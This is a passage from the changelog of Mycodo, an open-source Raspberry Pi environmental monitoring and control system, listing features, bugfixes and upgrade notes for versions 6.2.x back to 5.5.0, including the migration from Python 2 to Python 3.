DS-type sensor calibration ([#518](https://github.com/kizniche/mycodo/issues/518))\n - Fix issue with Adafruit deprecating BMP, TMP, and CCS811 ([#346](https://github.com/kizniche/mycodo/issues/346), [#503](https://github.com/kizniche/mycodo/issues/503))", "\n## 6.2.2 (2018-08-22)", "### Features", " - Add translations: Italian, Portuguese", "### Bugfixes", " - Fix display of IP address on LCD ([#507](https://github.com/kizniche/mycodo/issues/507))\n - Fix graph manual y-axis min/max ([#516](https://github.com/kizniche/mycodo/issues/516))\n - Fix issue with deleting all dashboard elements", "\n## 6.2.1 (2018-08-20)", "### Features", " - Add Diagnostic section of configuration menu with first function: Delete All Dashboard Elements ([#515](https://github.com/kizniche/mycodo/issues/515), [#516](https://github.com/kizniche/mycodo/issues/516))", "### Bugfixes", " - Fix issue with units on LCDs ([#514](https://github.com/kizniche/mycodo/issues/514))", "\n## 6.2.0 (2018-08-15)", "### Features", " - New measurement/unit configuration system (select which unit to convert/store for input measurements) ([#506](https://github.com/kizniche/mycodo/issues/506))\n - Add ability to create new measurements, units, and conversions ([#506](https://github.com/kizniche/mycodo/issues/506))\n - Enable conversion of disk space (kB, MB, GB), frequency (Hz, kHz, MHz), and humidity (%, decimal)\n - Add option to display IP address on LCD ([#507](https://github.com/kizniche/mycodo/issues/507))\n - Full German Translation ([#507](https://github.com/kizniche/mycodo/issues/507)) (@pmunz75)\n - Add PID Autotune feature (currently disabled; may be enabled in the release, pending testing)\n - Add New Translations: Russian, Chinese\n - Complete Translations: German, Spanish, French", "### Bugfixes", " - Fix issue activating Cozir CO2 sensor ([#495](https://github.com/kizniche/mycodo/issues/495))\n - Fix issue with order not updating correctly when Conditional is deleted\n - Fix issue with output usage report generation ([#504](https://github.com/kizniche/mycodo/issues/504))\n - Fix proper conversion of temperatures/pressure for Wet-Bulb Humidity Math\n - Fix Atlas pH UART sensor module ([#509](https://github.com/kizniche/mycodo/issues/509))", "### Miscellaneous", " - Update InfluxDB 1.5.0 -> 1.6.0", "\n## 6.1.4 (2018-06-28)", "### Features", " - Increase verbosity of conditional email notification\n - Add Cozir CO2 sensor Input ([#495](https://github.com/kizniche/mycodo/issues/495))\n - Allow CO2 to be converted from ppm <-> ppb", "### Bugfixes", " - Fix pressure measurements being forced to integer ([#476](https://github.com/kizniche/mycodo/issues/476))\n - Fix CCS811 Input measurement ([#467](https://github.com/kizniche/mycodo/issues/467))\n - Fix pigpio dependency install issue\n - Prevent pre-output from remaining on after an Input is deactivated\n - Enable unit conversions for AM2315\n - Fix issue setting PID setpoint from Dashboard ([#496](https://github.com/kizniche/mycodo/issues/496))\n - Fix displaying custom graph colors ([#491](https://github.com/kizniche/mycodo/issues/491))", "### Miscellaneous", " - Remove I2C support for K30 CO2 sensor (until properly tested)\n - Update to Bootstrap 4.1.1\n - Remove remaining Fahrenheit conversions from Live page\n - Update 433 MHz wireless script (test send/receive, determine/receive commands from remote)", "\n## 6.1.3 (2018-06-05)", "### Features", " - Add I2C support for K30 CO2 sensor (untested)", "### Bugfixes", " - Fix service executable location ([#487](https://github.com/kizniche/mycodo/issues/487))\n - Fix inability to set duty cycle from frontend ([#485](https://github.com/kizniche/mycodo/issues/485))\n - Fix (finally) saving Time-based Conditional times ([#488](https://github.com/kizniche/mycodo/issues/488))", "\n## 6.1.2 (2018-05-23)", "### Features", " - Add option to set Miflora Bluetooth adapter ([#483](https://github.com/kizniche/mycodo/issues/483))", "### Bugfixes", " - Fix exception-handling of sending test email ([#471](https://github.com/kizniche/mycodo/issues/471))\n - Fix HDC1000 initialization issue ([#467](https://github.com/kizniche/mycodo/issues/467))\n - Fix Command PWM frontend issues ([#469](https://github.com/kizniche/mycodo/issues/469))\n - Fix ADC modules ([#482](https://github.com/kizniche/mycodo/issues/482))\n - Update miflora to 0.4 ([#481](https://github.com/kizniche/mycodo/issues/481))\n - Fix BH1750 sensor ([#480](https://github.com/kizniche/mycodo/issues/480))", "### Miscellaneous", "- Update alembic, Flask, Flask_CSV, geocoder, gunicorn, imutils, pytest, python-dateutil, SQLAlchemy, testfixtures", "\n## 6.1.1 (2018-05-18)", "### Features", "- Add CCS811 CO2 sensor input ([#467](https://github.com/kizniche/mycodo/issues/467))\n- Add HDC1000/HDC1080 Temperature/Humidity sensor input ([#467](https://github.com/kizniche/mycodo/issues/467))\n- Add Pascal/kiloPascal conversion for pressure\n- Add ppm/ppb conversion for CO2 and VOC concentration\n- Improve accuracy of float measurement values\n- Add option to set camera output duration (before image capture)\n- Improve handling of multiple queries to a single device", "### Bugfixes", " - Fix saving settings of Conditional Timers ([#470](https://github.com/kizniche/mycodo/issues/470))\n - Fix Command PWM output use in PIDs ([#469](https://github.com/kizniche/mycodo/issues/469))\n - Fix proper display of Outputs in Conditionals ([#469](https://github.com/kizniche/mycodo/issues/469))", "\n## 6.1.0 (2018-05-02)", "### Features", "- Add Output (Duration) Conditional ([#186](https://github.com/kizniche/mycodo/issues/186))", "### Bugfixes", " - Fix refreshing settings of active conditional controllers\n - Fix saving settings of Conditional Timers ([#464](https://github.com/kizniche/mycodo/issues/464))", "\n## 6.0.9 (2018-04-27)", "### Bugfixes", " - Fix command measurement checking ([#460](https://github.com/kizniche/mycodo/issues/460))\n - Fix rendering of Math measurements/units ([#461](https://github.com/kizniche/mycodo/issues/461))", "\n## 6.0.8 (2018-04-27)", "### Bugfixes", " - Fix identification of custom command measurement/units ([#457](https://github.com/kizniche/mycodo/issues/457))\n - Fix AM2315 Input issue ([#459](https://github.com/kizniche/mycodo/issues/459))", "\n## 6.0.7 (2018-04-26)", "### Features", "- Add ability to change sample rate of controllers ([#386](https://github.com/kizniche/mycodo/issues/386))", "### Bugfixes", " - Fix display of graph custom y-axis names\n - Fix inability to change pigpiod sample rate ([#458](https://github.com/kizniche/mycodo/issues/458))", "\n## 6.0.6 (2018-04-23)", "### Bugfixes", " - Fix issue with Edge Input\n - Fix issue with Conditional timers\n - Fix issue with BME280 dependency identification", "\n## 6.0.5 (2018-04-22)", "### Features", "- Add Conditional: Time Span ([#444](https://github.com/kizniche/mycodo/issues/444))", "### Bugfixes", " - Fix dependency check ([#422](https://github.com/kizniche/mycodo/issues/422))\n - Try lower integration times when TSL2561 sensor is saturated ([#450](https://github.com/kizniche/mycodo/issues/450))\n - Fix DHT11/DHT22 output power check ([#454](https://github.com/kizniche/mycodo/issues/454))", "\n## 6.0.4 (2018-04-21)", "### Bugfixes", " - Fix scanning for DS18B20 sensors ([#452](https://github.com/kizniche/mycodo/issues/452))", "\n## 6.0.3 (2018-04-21)", "### Bugfixes", " - Fix upgrade issue", "\n## 6.0.1 (2018-04-21)", "### Bugfixes", " - Fix setting landing page ([#452](https://github.com/kizniche/mycodo/issues/452))", "\n## 6.0.0 (2018-04-21)", "Version 6 has changes to the database schema that could not be upgraded to. To upgrade to this version, the settings database must be created anew. You either have the options of staying at the last version (5.7.x), or deleting the settings database and upgrading. A fresh install is necessary to run this version.", "### Features", " - Add Conditionals: Run PWM Method, Daily Time Point Timer, Duration Timer, Output PWM ([#444](https://github.com/kizniche/mycodo/issues/444), [#448](https://github.com/kizniche/mycodo/issues/448))\n - Add Conditional Actions: Activate/Deactivate any controller, Set PID Method ([#440](https://github.com/kizniche/mycodo/issues/440))\n - Use actual range value for color stops of solid gauges ([#434](https://github.com/kizniche/mycodo/issues/434))\n - Add option to set setpoint from PID dashboard element without epanding element ([#449](https://github.com/kizniche/mycodo/issues/449))\n - Refactor Conditional Controllers to be multithreaded", "### Bugfixes", " - Fix Hold bug in PID controllers\n - Fix error-handing when changing PID setting from Dashboard if PID is inactive ([#449](https://github.com/kizniche/mycodo/issues/449))", "### Miscellaneous", " - Remove multiplexer integration (use kernel driver)\n - Remove Timers (Conditionals have replaced their functionality)\n - Improve testing coverage of frontend ([#444](https://github.com/kizniche/mycodo/issues/444))", "\n## 5.7.3 (2018-04-20)", "This is the last version of the 5.x branch. If your system is upgraded to 5.7.3, you will have the option of upgrading to the next major version (6.x), however the settings database will need to be deleted. This can be done through the web UI or manually by reinstalling Mycodo fresh.", "### Features", " - Add Conditional Action: Set PID Method ([#440](https://github.com/kizniche/mycodo/issues/440))", "\n## 5.7.2 (2018-04-07)", "### Features", " - Add ability to invert PWM duty cycle ([#444](https://github.com/kizniche/mycodo/issues/444))\n - Add ability to select landing page ([#444](https://github.com/kizniche/mycodo/issues/444))\n - Add ability to set setpoint from PID dashboard elements ([#444](https://github.com/kizniche/mycodo/issues/444))\n - Add Conditional Actions: Activate/Deactivate Timer ([#440](https://github.com/kizniche/mycodo/issues/440))", "### Bugfixes", " - Fix catching erroneous DS18B20 values ([#404](https://github.com/kizniche/mycodo/issues/404))\n - Fix camera selection of Photo Conditional Action ([#444](https://github.com/kizniche/mycodo/issues/444))", "### Miscellaneous", " - Set picamera use_video_port=False ([#444](https://github.com/kizniche/mycodo/issues/444))\n - Rearrange navigation menu ([#444](https://github.com/kizniche/mycodo/issues/444))", "\n## 5.7.1 (2018-04-04)", "### Features", " - Add Conditional Action: Set PID Setpoint\n - Add Input: Xiaomi MiFlora ([#422](https://github.com/kizniche/mycodo/issues/422))", "### Bugfixes", " - Restore missing help menu on navigation bar\n - Fix issue reading SHT sensors ([#437](https://github.com/kizniche/mycodo/issues/437))", "### Miscellaneous", " - Convert README and Manual from MD to RST\n - Update sht_sensor to 18.4.1", "\n## 5.7.0 (2018-04-03)", "### Features", " - Add ability to convert Input measurements between units ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add unit conversions: celsius, fahrenheit, kelvin, meters, feet\n - Add ability to select whether lowering PID outputs are stored as positive or negative values\n - Add Sunrise/Sunset Conditional ([#440](https://github.com/kizniche/mycodo/issues/440))\n - Add ability to set the precision for DS18B20, DS1822, DS28EA00, and DS1825 sensors ([#439](https://github.com/kizniche/mycodo/issues/439))\n - Add Inputs: DS18S20, DS1822, DS28EA00, DS1825, MAX31850K\n - Add Input option to select resolution for DS18B20, DS1822, DS28EA00, and DS1825 ([#439](https://github.com/kizniche/mycodo/issues/439))", "\n### Bugfixes", " - Fix issues with PID control on Dashboard ([#441](https://github.com/kizniche/mycodo/issues/441))\n - Improve LCD controller shutdown speed\n - Fix installer not displaying progress in console ([#442](https://github.com/kizniche/mycodo/issues/442))\n - Force measurement values to float before writing to influxdb (except 'pressure') ([#441](https://github.com/kizniche/mycodo/issues/441))", "\n## 5.6.10 (2018-03-31)", "### Bugfixes", " - Fix issue executing mycodo_client.py\n - Fix Command Outputs not turning off after turning on for a duration ([#432](https://github.com/kizniche/mycodo/issues/432))\n - Prevent DS18B20 measurements outside expected range ([#404](https://github.com/kizniche/mycodo/issues/404))\n - Prevent race condition preventing output from remaining on for a duration ([#436](https://github.com/kizniche/mycodo/issues/436))\n - Ensure outputs turned on for a duration only turn off once ([#436](https://github.com/kizniche/mycodo/issues/436))\n - Update sht-sensor to 18.3.6 for Python 3 compatibility ([#437](https://github.com/kizniche/mycodo/issues/437))", "### Miscellaneous", " - Change SSL certificate expiration from 1 year to 10 years\n - Fix style issues with Remote Admin following Bootstrap upgrade\n - Fix issue with setup.sh script not catching errors", "\n## 5.6.9 (2018-03-24)", "### Features", " - Add Refractory Period to Measurement Conditional options\n - Add method to hide/show/reorder all Dashboard Elements at once ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Make Output/PID popups respond to show/hide configuration options ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add Input: Atlas Electrical Conductivity sensor ([#411](https://github.com/kizniche/mycodo/issues/411))", "### Bugfixes", " - Fix issue saving reference resistor value ([#345](https://github.com/kizniche/mycodo/issues/345))\n - Fix LCD display of timestamps\n - Fix inability to change Solid Gauge Stops ([#433](https://github.com/kizniche/mycodo/issues/433))\n - Fix Command Outputs not turning off after turning on for a duration ([#432](https://github.com/kizniche/mycodo/issues/432))\n - Fix encoding issue with df command output ([#430](https://github.com/kizniche/mycodo/issues/430))", "\n## 5.6.8 (2018-03-19)", "### Bugfixes", " - Fix Camera Output not having an effect\n - Fix issues with MAX31856/MAX31865 ([#345](https://github.com/kizniche/mycodo/issues/345))", "\n## 5.6.7 (2018-03-18)", "### Bugfixes", " - Fix upgrade menu not turning red when an upgrade is available\n - Add lockfile breaking ([#418](https://github.com/kizniche/mycodo/issues/418))\n - Fix bcrypt dependency issue preventing install ([#429](https://github.com/kizniche/mycodo/issues/429))", "\n## 5.6.6 (2018-03-17)", "### Features", " - Add Input: MAX31865 for PT100 and PT1000 temperature probes ([#345](https://github.com/kizniche/mycodo/issues/345))", "### Bugfixes", " - Fix incorrect conversion of I2C address during Atlas pH sensor calibration ([#425](https://github.com/kizniche/mycodo/issues/425))\n - Potential fix for ADC issues when using pre-output ([#418](https://github.com/kizniche/mycodo/issues/418))\n - Fix Linux Command measurement display on lines 2 through 4 of LCDs ([#427](https://github.com/kizniche/mycodo/issues/427))\n - Fix display of PID setpoint units on LCDs\n - Fix display of LCD lines without measurement units\n - Fix locking to be thread safe (replaced fasteners with locket) ([#418](https://github.com/kizniche/mycodo/issues/418))", "\n## 5.6.5 (2018-03-14)", "### Features", " - Update to Bootstrap 4\n - Update to InfluxDB 1.5.0", "### Bugfixes", " - Add proper max voltage for MCP3008 ([#418](https://github.com/kizniche/mycodo/issues/418))\n - Fix PID persisting as paused/held after deactivating and activating\n - Fix Atlas pH Calibration issue ([#425](https://github.com/kizniche/mycodo/issues/425))\n - Fix issue with Linux Command Inputs and LCDs ([#427](https://github.com/kizniche/mycodo/issues/427))", "\n## 5.6.4 (2018-03-11)", "### Features", " - Add Input: MAX31856 for measuring several types of thermocouples (K, J, N, R, S, T, E, and B) ([#345](https://github.com/kizniche/mycodo/issues/345)\n - Add mycodo_client.py option: get or set PID setpoint, integrator, derivator, kp, ki, and kd ([#420](https://github.com/kizniche/mycodo/issues/420))\n - Add option to enable pre-output during measurement (previously turned off before measurement) ([#418](https://github.com/kizniche/mycodo/issues/418))", "### Bugfixes", " - Fix frontend pid in System Information page\n - Fix issue with mycodo_client.py PID hold and resume commands", "### Miscellaneous", " - Make rpi-rf an optional Output dependency", "\n## 5.6.3 (2018-03-09)", "### Features", " - Add ability to use custom command line options for fswebcam camera image captures ([#419](https://github.com/kizniche/mycodo/issues/419))\n - Add Input: MAX31855K for measuring K-type thermocouples ([#345](https://github.com/kizniche/mycodo/issues/345))\n - Add ability to set duty cycle of output via mycodo_client.py ([#420](https://github.com/kizniche/mycodo/issues/420))\n - Add Conditional Action: Output PWM ([#420](https://github.com/kizniche/mycodo/issues/420))\n - Add Output Type: Execute Command (PWM) ([#420](https://github.com/kizniche/mycodo/issues/420))", "### Bugfixes", " - Fix LCD issues\n - Fix state display of Command Outputs turned on for a duration", "\n## 5.6.2 (2018-03-04)", "### Features", " - Make install of WiringPi optional ([#412](https://github.com/kizniche/mycodo/issues/412))\n - Make install of numpy optional ([#412](https://github.com/kizniche/mycodo/issues/412))\n - Add pause color and Pause/Hold/Resume buttons to PID Dashboard element options ([#416](https://github.com/kizniche/mycodo/issues/416))\n - Display a log when installing dependencies to follow the progress\n - Add Dependency Install Log to the Log page\n - Add mycodo_client.py user commands: pid_pause, pid_hold, pid_resume\n \n### Bugfixes", " - Fix issues with PID Conditional Actions ([#416](https://github.com/kizniche/mycodo/issues/416))\n - Fix display of last edge on Live page\n - Fix issue updating the status of some dependencies after their install", "### Miscellaneous", " - Remove redundant upgrade commands ([#412](https://github.com/kizniche/mycodo/issues/412))\n - Remove GPIO State from Edge Conditional (use Measurement Conditional) ([#416](https://github.com/kizniche/mycodo/issues/416))", "\n## 5.6.1 (2018-02-27)", "### Features", " - Add Conditional Actions: Pause/Resume PID ([#346](https://github.com/kizniche/mycodo/issues/346))", "### Bugfixes", " - Fix pigpiod configuration options when pigpiod is not installed ([#412](https://github.com/kizniche/mycodo/issues/412))\n - Fix setting up pigpiod during install\n - Fix TSL2561 Input module ([#414](https://github.com/kizniche/mycodo/issues/414))\n - Fix Measurement Dashboard element condition/unit display ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Fix saving PID Conditional Actions ([#415](https://github.com/kizniche/mycodo/issues/415))", "\n## 5.6.0 (2018-02-25)", "### Features", " - Add interactive installer\n - Make Python modules conditionally imported ([#412](https://github.com/kizniche/mycodo/issues/412))", "\n## 5.5.24 (2018-02-24)", "### Features", " - Add new Input: MCP3008 Analog-to-Digital Converter ([#409](https://github.com/kizniche/mycodo/issues/409))", "\n## 5.5.23 (2018-02-23)", "### Features", " - Add option to set decimal places on Dashboard elements ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add option to show detailed PID information on Dashboard element ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add units to PID Dashboard element ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add Fahrenheit conversion to gauges ([#137](https://github.com/kizniche/mycodo/issues/137))\n - Add new Math: Average (Single Measurement) ([#335](https://github.com/kizniche/mycodo/issues/335))", "### Bugfixes", " - Allow disabled pigpiod to persist after upgrades ([#386](https://github.com/kizniche/mycodo/issues/386))\n - Fix display of Math measurement/units of Measurement Dashboard element\n - Prevent a large D-value the the first cycle after a PID is activated\n - Handle TypeErrors for Humidity Math controller", "\n## 5.5.22 (2018-02-19)", "### Features", " - Add PID-Values to Graphs ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add Dashboard elements: Measurement, Output, PID Control ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add system date and time to menu", "### Bugfixes", " - Add checks to ensure Humidity Math only returns 0% - 100% humidity\n - Prevent opposing relays from being turned off in PID Controllers ([#402](https://github.com/kizniche/mycodo/issues/402))\n - Fix adding and viewing hosts in Remote Admin ([#377](https://github.com/kizniche/mycodo/issues/377))\n - Fix error-handling of DS18B20 communication error ([#404](https://github.com/kizniche/mycodo/issues/404))\n - Add error-handling for influxdb queries ([#405](https://github.com/kizniche/mycodo/issues/405))", "\n## 5.5.21 (2018-02-13)", "### Bugfixes", " - Add error-handling of DS18B20 communication error ([#404](https://github.com/kizniche/mycodo/issues/404))\n - Fix setup abort from unmet pigpiod dependency ([#406](https://github.com/kizniche/mycodo/issues/406))", "\n## 5.5.20 (2018-02-11)", "### Features", " - Add new configuration section: Pi Settings\n - Add to Pi Settings: common ```raspi-config``` options\n - Add to Pi Settings: select pigpiod sample rate ([#386](https://github.com/kizniche/mycodo/issues/386))\n - Add option to completely disable pigpiod ([#386](https://github.com/kizniche/mycodo/issues/386))", "### Bugfixes", " - Add ability to set custom Graph colors for Math measurements\n ", "## 5.5.19 (2018-02-06)", "### Features", " - Enable custom minimum/maximum to be set for any y-axis ([#335](https://github.com/kizniche/mycodo/issues/335))\n - Add Asynchronous Graph options for duration of data to display (All or past year, month, week, day)", "### Bugfixes", " - Fix saving Math Humidity options ([#400](https://github.com/kizniche/mycodo/issues/400))", "\n## 5.5.18 (2018-02-04)", "### Features", " - Allow multiple data series on Asynchronous Graphs ([#399](https://github.com/kizniche/mycodo/issues/399))\n - Add Outputs and PIDs to Asynchronous Graphs ([#399](https://github.com/kizniche/mycodo/issues/399))\n - Preserve Asynchronous Graph selections after form submissions ([#399](https://github.com/kizniche/mycodo/issues/399))", "### Bugfixes", " - Fix reloading of asynchronous graphs ([#399](https://github.com/kizniche/mycodo/issues/399))", "\n## 5.5.17 (2018-02-03)", "### Features", " - Add option to show/hide Gauge timestamp ([#392](https://github.com/kizniche/mycodo/issues/392))\n - Add new Math: Equation ([#335](https://github.com/kizniche/mycodo/issues/335))\n - Add PID control hysteresis ([#398](https://github.com/kizniche/mycodo/issues/398))\n - Automatically restart pigpiod when it fails", "### Bugfixes", " - Move pigpiod from cron to systemd service to improve reliability ([#388](https://github.com/kizniche/mycodo/issues/388))\n - Improve deamon error-handling and Input connectivity ([#388](https://github.com/kizniche/mycodo/issues/388))\n - Fix Mycodo service timeout ([#379](https://github.com/kizniche/mycodo/issues/379))\n - Fix display of Graph custom colors", "\n## 5.5.16 (2018-01-28)", "### Bugfixes", " - Fix issue with conditionals not triggering when measurement values are 0 ([#387](https://github.com/kizniche/mycodo/issues/387))\n - Fix issue with settings Output PWM duty cycles\n - Fix issues with Atlas UART module ([#382](https://github.com/kizniche/mycodo/issues/382))\n - Fix issues with calibrating the Atlas pH sensor ([#382](https://github.com/kizniche/mycodo/issues/382))", "\n## 5.5.15 (2018-01-28)", "### Features", " - Add Graph button to manually update graph with new data\n - Increase output timing accuracy (0.01 second, previously 0.1 second)\n - Improve graph update efficiency\n - Add Graph option: Enable Graph Shift (used in conjunction with Enable Navbar)\n - Add new Math: Difference ([#395](https://github.com/kizniche/mycodo/issues/395))", "### Bugfixes", " - Fix issue modifying the Conditional Max Age ([#387](https://github.com/kizniche/mycodo/issues/387))\n - Fix issue with new data on graphs requiring a page refresh to see\n - Fix issue with updating inputs/maths with long periods on the Live page", "### Miscellaneous", " - Remove debug line from GPIO State Input module ([#387](https://github.com/kizniche/mycodo/issues/387))", "\n## 5.5.14 (2018-01-25)", "### Bugfixes", " - Fix display of PID timestamp on LCDs\n - Fix missing pigpio.zip (breaks install/upgrade) on remote server (package pigpio.tar with Mycodo)", "\n## 5.5.13 (2018-01-23)", "### Features", " - Add Input: GPIO State ([#387](https://github.com/kizniche/mycodo/issues/387))\n - Refactor Dashboard code (improve load time, reduce code size)", "### Bugfixes", " - Fix inability to change Input Period ([#393](https://github.com/kizniche/mycodo/issues/393))\n - Fix Exception while reading the GPIO pin of Edge Conditional ([#387](https://github.com/kizniche/mycodo/issues/387))", "### Miscellaneous", " - Add Input Template for the [Wiki](https://github.com/kizniche/Mycodo/wiki/Adding-Support-for-a-New-Input)", "\n## 5.5.12 (2018-01-21)", "### Features", " - Add two new Inputs: Server Ping and Server Port Open ([#389](https://github.com/kizniche/mycodo/issues/389))", "\n## 5.5.11 (2018-01-21)", "### Bugfixes", " - Fix issues with Dashboard Gauges ([#391](https://github.com/kizniche/mycodo/issues/391))\n - Fix issues with Dashboard Cameras", "### Miscellaneous", " - Add ID numbers to Conditionals in UI for identification ([#387](https://github.com/kizniche/mycodo/issues/387))", "\n## 5.5.10 (2018-01-20)", "### Features", " - Add ability to set graph y-axis minimum/maximum ([#384](https://github.com/kizniche/mycodo/issues/384))\n - Add ability to view Math outputs on asynchronous graphs ([#335](https://github.com/kizniche/mycodo/issues/335))\n - Improve Dashboard Object creation/manipulation user interaction", "### Bugfixes", " - Fix inability to activate Edge Conditionals ([#381](https://github.com/kizniche/mycodo/issues/381))\n - Fix inability to add new gauges or graphs to the dashboard ([#384](https://github.com/kizniche/mycodo/issues/384))\n - Fix issues with UART Atlas pH Input device ([#382](https://github.com/kizniche/mycodo/issues/382))\n - Fix issue with Atlas pH calibration ([#382](https://github.com/kizniche/mycodo/issues/382))\n - Fix issue with caching of Camera images on the Dashboard\n - Fix issue with Edge Conditionals ([#387](https://github.com/kizniche/mycodo/issues/387))", "\n## 5.5.9 (2018-01-14)", "### Bugfixes", " - Fix issue generating output usage reports ([#380](https://github.com/kizniche/mycodo/issues/380))\n - Fix inability to save Edge Conditionals ([#381](https://github.com/kizniche/mycodo/issues/381))", "\n## 5.5.8 (2018-01-11)", "### Features", " - Add ability to add Camera modules to the Dashboard (formerly Live Graphs page)", "### Bugfixes", " - Fix issue with new installations failing to start the flask frontend ([#379](https://github.com/kizniche/mycodo/issues/379))\n - Fix issue with services starting on Pi Zeros ([#379](https://github.com/kizniche/mycodo/issues/379))", "### Miscellaneous", " - Reduce gunicorn (web UI) workers from 2 to 1", "\n## 5.5.7 (2018-01-08)", "### Bugfixes", "- Fix forcing of HTTPS via user configuration\n- Fix inability to save Gauge Refresh Period option ([#376](https://github.com/kizniche/mycodo/issues/376))\n- Fix Atlas Scientific communication issues ([#369](https://github.com/kizniche/mycodo/issues/369))", "\n## 5.5.6 (2018-01-05)", "### Features", " - Add ability to restart the frontend from the web UI", "### Bugfixes", "- Attempt to fix issue where DHT22 sensor may become unresponsive\n- Fix inability to stream video from PiCamera", "\n## 5.5.5 (2018-01-04)", "### Bugfixes", " - Fix IP address of user login log entries\n - Fix issue reading DHT11 sensor ([#370](https://github.com/kizniche/mycodo/issues/370))", "\n## 5.5.4 (2018-01-03)", "### Features", " - Add ability to replace edge variable in edge conditional command action", "### Bugfixes", " - Fix issue with proper python 3 virtualenv ([#362](https://github.com/kizniche/mycodo/issues/362))\n - Fix starting web server during install\n - Fix issue with gunicorn worker timeouts on Raspberry Pi Zeros ([#365](https://github.com/kizniche/mycodo/issues/365))\n - Fix command variable replacement for Output conditionals ([#367](https://github.com/kizniche/mycodo/issues/367))\n - Fix pH Input causing an error with a deactivated Calibration Measurement ([#369](https://github.com/kizniche/mycodo/issues/369))\n - Fix issue preventing capture of still images from the web interface ([#368](https://github.com/kizniche/mycodo/issues/368))", "### Miscellaneous", " - Move mycodo root symlink from /var/www to /var\n - Create symlinks in PATH for mycodo-backup, mycodo-client, mycodo-commands, mycodo-daemon, mycodo-pip, mycodo-python, mycodo-restore, and mycodo-wrapper", "\n## 5.5.3 (2017-12-29)", "### Bugfixes", " - Fix issue with web UI and daemon not restarting properly after upgrade\n - Fix issue with the log not updating properly on the Upgrade page", "\n## 5.5.2 (2017-12-27)", "### Features", " - Add Conditional Actions: Flash LCD Off, LCD Backlight On, LCD Backlight Off ([#363](https://github.com/kizniche/mycodo/issues/363))", "### Bugfixes", " - Add more log lines to find out exactly which part makes the end of an upgrade hang\n - Fix MHZ16/19 UART communication ([#359](https://github.com/kizniche/mycodo/issues/359))\n - Fix missing I2C devices from System Information page ([#354](https://github.com/kizniche/mycodo/issues/354))\n - Fix output state determination of other outputs if a wireless output is unconfigured ([#364](https://github.com/kizniche/mycodo/issues/364))\n - Fix LCD controller issues with flashing and backlight management", "\n## 5.5.1 (2017-12-25)", "### Bugfixes", " - Fix inability to send Conditional email notification to multiple recipients\n - Fix inability to select LCDs as Conditional Actions\n - Fix BME280 sensor module ([#358](https://github.com/kizniche/mycodo/issues/358))\n - Fix TSL2591 sensor module\n - Fix MHZ16/MHZ19 unicode errors (still investigating other potential issues reading these sensors)", "\n## 5.5.0 (2017-12-25)", "Merry Christmas!", "With the release of 5.5.0, Mycodo becomes modern by migrating from Python 2.7.9 to Python 3 (3.5.3 if on Raspbian Stretch, 3.4.2 if on Raspbian Jessie). This release also brings a big switch from apache2+mod_wsgi to nginx+gunicorn as the web server.", "### Issues", "***You may experience an error during the upgrade that doesn't allow it to complete***", "***It will no longer be possible to restore pre-5.5.0 backups***", "***All users will be logged out of the web UI during the upgrade***", "***All Conditionals will be deactivated and need reconfiguring***", "***OpenCV has been removed as a camera module***", "If you rely on your system to work, it is highly recommended that you ***DO NOT UPGRADE***. Wait until your system is no longer performing critical tasks to upgrade, in order to allow yourself the ability to thoroughly test your particular configuration works as expected, and top perform a fresh install if the upgrade fails. Although most parts of the system have been tested to work, there is, as always, the potential for unforeseen issues (for instance, not every sensor that Mycodo supports has physically been tested). Read the following notes carefully to determine if you want to upgrade to 5.5.0 and newer versions.", "#### Failure during the upgrade to >= 5.5.0", "I found that occasionally the upgrade will spontaneously stop without an indication of the issue. I've seen it happen during an apt-get install and during a pip upgrade. It does not seem consistent, and there were no erorrs, therefore it wasn't able to be fixed. If you experience an error during the upgrade that doesn't allow the upgrade to complete, issue the following commands to attempt to resume and complete the upgrade. If that doesn't fix it, you may have to install Mycodo from scratch.", "```bash\nsudo dpkg --configure -a\nsudo /bin/bash ~/Mycodo/mycodo/scripts/upgrade_post.sh\n```", "#### No restoring of pre-5.5.0 backups", "Restoring pre-5.5.0 backups will not work. This is due to the moving of the pip virtual environments during the restore, the post-5.5.0 (python3) virtualenv not being compatible with the pre-5.5.0 virtualenv (python2), and moving from the apache2 web server to nginx. If you absolutely need to restore a backup, it must be done manually. Create a new github issue to get asistance with this.", "Also with this release, exporting and importing both the Mycodo settings database and InfluxDB measurement database has been added. These may be imported back into Mycodo at a later timer. Currently, the InfluxDB (measurement) database may be imported into any other version of Mycodo, and the Mycodo (settings) database may only be imported to the same version of Mycodo. Automatic upgrading or downgrading of the Mycodo database to allow cross-version compatibility will be included in a future release. For the meantime, if you need to restore Mycodo settings to a particular Mycodo version, you can do the following: download the tar.gz of the particular [Mycodo Release](https://github.com/kizniche/Mycodo/releases) compatible with your database backup, extract, install normally, import the Mycodo settings database, then perform an upgrade of Mycodo to the latest release.", "#### All users will be logged out during the upgrade", "Another consequence of changing from Python 2 to 3 is current browser cookies will cause an error with the web user interface. Therefore, all users will be logged out after upgrading to >= 5.5.0. This will cause some strange behavior that may be misconstrued as a failed upgrade:\n \n 1. The upgrade log will not update during the upgrade. Give the upgrade ample time to finish, or monitor the upgrade log from the command line.\n \n 2. After the upgrade is successful, the upgrade log box on the Upgrade page will redirect to the login page. Do not log in through the log box, but rather refresh the entire page to be redirected to the login page.", "#### All Conditionals will be deactivated", "The Conditional code has been refactored to make them more modular. Because some conditionals will need to be reconfigured before they will operate corectly, all conditionals have been deactivated. Therefore, after the upgrade, reconfigure them appropriately, then reactivate. Additionally, conditionals (for all controllers) have been moved to a new 'Function' page.", "#### OpenCV has been disabled", "A Python 3 compatible binary version of opencv, whoch doesn't require an extremely long (hours) compiling process, is unfortunately unavailable. Therefore, if you know of a library or module that can successfully acquire an image from your webcam (you have tested to work), create a [new issue](https://github.com/kizniche/Mycodo/issues/new) with the details of how you acquired the image and we can determine if the method can be integrated into Mycddo.", "### Features", " - Migrate from Python 2 to Python 3 ([#253](https://github.com/kizniche/mycodo/issues/253))\n - Migrate from apache2 (+mod_wsgi) to nginx (+gunicorn) ([#352](https://github.com/kizniche/mycodo/issues/352))\n - Add ability to export and import Mycodo (settings) database ([#348](https://github.com/kizniche/mycodo/issues/348))\n - Add ability to export and import Influxdb (measurements) database ([#348](https://github.com/kizniche/mycodo/issues/348))\n 